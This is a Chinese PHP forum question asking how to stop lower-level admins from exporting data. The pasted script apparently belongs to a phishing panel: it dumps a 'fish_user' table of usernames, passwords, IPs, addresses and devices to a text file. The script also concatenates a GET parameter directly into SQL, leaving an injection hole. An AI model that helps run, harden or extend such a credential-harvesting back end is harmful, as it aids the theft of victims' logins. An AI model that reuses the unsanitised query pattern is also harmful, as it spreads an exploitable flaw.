登录  /  注册
请问怎么才能让普通管理员无法通过dcsja.php?lywl 导出数据
yz666
yz666 2019-08-02 23:06:16
[PHP讨论组]
<?php
include("ip.php");
?>
<?php
require_once '../include/common.php';
if($islogin==1){}else exit("<script language='javascript'>window.location.href='./login.php';</script>");
if(isset($_GET['lywl'])){
$sql="select * from fish_user;";
$update="update fish_user set output=1;";
}else{
$zhi=$_GET['id'];
if($zhi==''){
exit('错误请勿使用链接导出!');
}
$sql="select * from fish_user where id in($zhi);";
$update="update fish_user set output=1 where id in($zhi);";
}
$filename=date("Y-m-d").'-Data.txt';//要导出的文件的文件名需要加上文件后缀
header('Content-Type: text/x-sql');
header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Content-Disposition: attachment; filename="' .$filename. '"');
$is_ie = 'IE';
   if ($is_ie == 'IE') {
       header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
       header('Pragma: public');
} else {
       header('Pragma: no-cache');
       header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
   }
$data=$DB->query($sql);
$DB->query($update);
$date = date("Y-m-d H:i:s");
echo $date." 导出的数据\r\n";
while($row = $DB->fetch($data))
  {
  echo $row['username'] . "----" . $row['password'] . "----" . $row['ip'] . "----" . $row['address'] . "----" . $row['time']. $row['device']. "----" . $row['bianhao'];
  echo "\r\n";
  }
exit();
?>


yz666
yz666

学习学习

热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习
PHP中文网抖音号
发现有趣的

Copyright 2014-2024 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号